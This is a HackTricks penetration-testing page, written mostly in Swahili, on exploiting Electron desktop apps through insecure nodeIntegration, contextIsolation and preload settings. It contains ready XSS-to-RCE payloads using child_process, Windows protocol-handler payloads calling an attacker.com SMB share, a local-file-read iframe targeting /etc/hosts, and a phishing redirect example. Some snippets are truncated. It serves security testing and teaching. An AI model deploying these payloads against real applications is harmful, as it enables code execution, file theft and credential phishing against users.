Electron Desktop Apps

Reading time: 11 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Introduction

Electron inachanganya backend wa ndani (pamoja na NodeJS) na frontend (Chromium), ingawa inakosa baadhi ya mitambo ya usalama ya vivinjari vya kisasa.

Kawaida unaweza kupata msimbo wa programu ya electron ndani ya programu ya .asar, ili kupata msimbo unahitaji kuutoa:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Katika msimbo wa chanzo wa programu ya Electron, ndani ya packet.json, unaweza kupata faili ya main.js ambapo mipangilio ya usalama imewekwa.

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron ina aina 2 za michakato:

  • Michakato Kuu (ina ufikiaji kamili wa NodeJS)
  • Michakato ya Renderer (inapaswa kuwa na ufikiaji wa NodeJS uliozuiliwa kwa sababu za usalama)

mchakato wa renderer utakuwa dirisha la kivinjari linalopakia faili:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

Mipangilio ya mchakato wa renderer inaweza kuwekwa katika mchakato mkuu ndani ya faili main.js. Baadhi ya mipangilio itakayo zuia programu ya Electron kupata RCE au udhaifu mwingine ikiwa mipangilio imewekwa vizuri.

Programu ya electron inaweza kufikia kifaa kupitia Node apis ingawa inaweza kuwekwa ili kuzuia hilo:

  • nodeIntegration - ime zimwa kwa chaguo-msingi. Ikiwa imewashwa, inaruhusu kufikia vipengele vya node kutoka kwa mchakato wa renderer.
  • contextIsolation - ime washwa kwa chaguo-msingi. Ikiwa imezimwa, michakato ya msingi na renderer siyo iliyotengwa.
  • preload - tupu kwa chaguo-msingi.
  • sandbox - imezimwa kwa chaguo-msingi. Itapunguza vitendo ambavyo NodeJS inaweza kufanya.
  • Uunganisho wa Node katika Wafanyakazi
  • nodeIntegrationInSubframes - ime zimwa kwa chaguo-msingi.
  • Ikiwa nodeIntegration ime washwa, hii itaruhusu matumizi ya Node.js APIs katika kurasa za wavuti ambazo zime pakiwa katika iframes ndani ya programu ya Electron.
  • Ikiwa nodeIntegration ime zimwa, basi preloads zitawekwa katika iframe

Mfano wa mipangilio:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Baadhi ya RCE payloads kutoka hapa:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Capture traffic

Badilisha usanidi wa start-main na ongeza matumizi ya proxy kama:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

Ikiwa unaweza kutekeleza programu ya Electron kwa ndani, inawezekana kwamba unaweza kufanya itekeleze msimbo wa javascript wa kiholela. Angalia jinsi katika:

{{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md {{#endref}}

RCE: XSS + nodeIntegration

Ikiwa nodeIntegration imewekwa kuwa on, JavaScript ya ukurasa wa wavuti inaweza kutumia vipengele vya Node.js kwa urahisi kwa kuita require(). Kwa mfano, njia ya kutekeleza programu ya calc kwenye Windows ni:

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

Scripti iliyoonyeshwa katika mipangilio hii inachukuliwa kabla ya scripti nyingine katika renderer, hivyo ina ufikiaji usio na kikomo kwa Node APIs:

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Kwa hivyo, skripti inaweza kusafirisha node-features kwa kurasa:

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > Ikiwa contextIsolation imewashwa, hii haitafanya kazi

RCE: XSS + contextIsolation

contextIsolation inanzisha muktadha tofauti kati ya skripti za ukurasa wa wavuti na msimbo wa ndani wa JavaScript wa Electron ili utekelezaji wa JavaScript wa kila msimbo usiathiri mwingine. Hii ni kipengele muhimu kuondoa uwezekano wa RCE.

Ikiwa muktadha haujawekwa kando, mshambuliaji anaweza:

  1. Kutekeleza JavaScript isiyo na mipaka katika renderer (XSS au kuhamia kwenye tovuti za nje)
  2. Kufuta njia iliyojengwa ndani ambayo inatumika katika preload au msimbo wa ndani wa Electron kwa kazi yake
  3. Kusababisha matumizi ya kazi iliyofutwa
  4. RCE?

Kuna maeneo 2 ambapo njia zilizojengwa ndani zinaweza kufutwa: Katika msimbo wa preload au katika msimbo wa ndani wa Electron:

{{#ref}} electron-contextisolation-rce-via-preload-code.md {{#endref}}

{{#ref}} electron-contextisolation-rce-via-electron-internal-code.md {{#endref}}

{{#ref}} electron-contextisolation-rce-via-ipc.md {{#endref}}

Kupita tukio la kubonyeza

Ikiwa kuna vizuizi vilivyowekwa unapobonyeza kiungo, huenda ukawa na uwezo wa kuvipita ukifanya bonyeza la katikati badala ya bonyeza la kushoto la kawaida

javascript
window.addEventListener('click', (e) => {

RCE kupitia shell.openExternal

Kwa maelezo zaidi kuhusu mifano hii angalia https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 na https://benjamin-altpeter.de/shell-openexternal-dangers/

wakati wa kupeleka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya nodeIntegration na contextIsolation ni muhimu. Imeanzishwa kwamba utendaji wa mbali wa msimbo wa mteja (RCE) unaolenga skripti za preload au msimbo wa asili wa Electron kutoka kwa mchakato mkuu unazuia kwa ufanisi na mipangilio hii ikiwa mahali.

Wakati mtumiaji anaposhiriki na viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio huanzishwa, ambayo ni muhimu kwa usalama na utendaji wa programu:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Wasikilizaji hawa wanabadilishwa na programu ya desktop ili kutekeleza mantiki yake ya biashara. Programu inakadiria ikiwa kiungo kilichotembelewa kinapaswa kufunguliwa ndani au kwenye kivinjari cha mtandao cha nje. Uamuzi huu kawaida hufanywa kupitia kazi, openInternally. Ikiwa kazi hii inarudisha false, inaashiria kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia kazi ya shell.openExternal.

Hapa kuna pseudocode iliyo rahisishwa:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Miongozo bora ya usalama ya Electron JS inashauri kutochukua maudhui yasiyoaminika kwa kutumia kazi ya openExternal, kwani inaweza kusababisha RCE kupitia protokali mbalimbali. Mifumo ya uendeshaji inasaidia protokali tofauti ambazo zinaweza kusababisha RCE. Kwa mifano ya kina na maelezo zaidi juu ya mada hii, mtu anaweza kurejelea this resource, ambayo inajumuisha mifano ya protokali za Windows zinazoweza kutumia udhaifu huu.

Mifano ya matumizi ya protokali za Windows ni pamoja na:

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

Kusoma Faili za Ndani: XSS + contextIsolation

Kuzima contextIsolation kunaruhusu matumizi ya <webview> tags, sawa na <iframe>, kwa ajili ya kusoma na kutoa faili za ndani. Mfano uliotolewa unaonyesha jinsi ya kutumia udhaifu huu kusoma maudhui ya faili za ndani:

Zaidi, njia nyingine ya kusoma faili ya ndani inashirikiwa, ikionyesha udhaifu muhimu wa kusoma faili za ndani katika programu ya desktop ya Electron. Hii inahusisha kuingiza script ili kutumia programu na kutoa data:

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Old Chromium

Ikiwa chromium inayotumiwa na programu ni ya zamani na kuna udhaifu ujulikanao juu yake, inaweza kuwa inawezekana kuikabili na kupata RCE kupitia XSS.
Unaweza kuona mfano katika writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing kupitia Internal URL regex bypass

Kukisia umepata XSS lakini huwezi kuanzisha RCE au kuiba faili za ndani, unaweza kujaribu kuitumia kuiba akidi kupitia phishing.

Kwanza kabisa unahitaji kujua kinachotokea unapojaribu kufungua URL mpya, ukikagua msimbo wa JS katika upande wa mbele:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Kito cha openInternally kitaamua kama kiungo kitafunguliwa katika dirisha la desktop kwani ni kiungo kinachomilikiwa na jukwaa, au kama kitafunguliwa katika browza kama rasilimali ya upande wa tatu.

Katika kesi ambapo regex inayotumika na kazi hiyo ni dhaifu kwa kupita (kwa mfano kwa kutokuepusha nukta za subdomains) mshambuliaji anaweza kutumia XSS ili kufungua dirisha jipya ambalo litakuwa katika miundombinu ya mshambuliaji likiomba taarifa za kuingia kwa mtumiaji:

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Vifaa

  • Electronegativity ni chombo cha kubaini makosa ya usanidi na mifumo ya usalama isiyo sahihi katika programu za msingi za Electron.
  • Electrolint ni nyongeza ya chanzo wazi ya VS Code kwa programu za Electron inayotumia Electronegativity.
  • nodejsscan kuangalia maktaba za wahusika wa tatu zenye udhaifu
  • Electro.ng: Unahitaji kununua

Maabara

Katika https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s unaweza kupata maabara ya kutumia programu za Electron zenye udhaifu.

Amri zingine zitakazokusaidia katika maabara:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks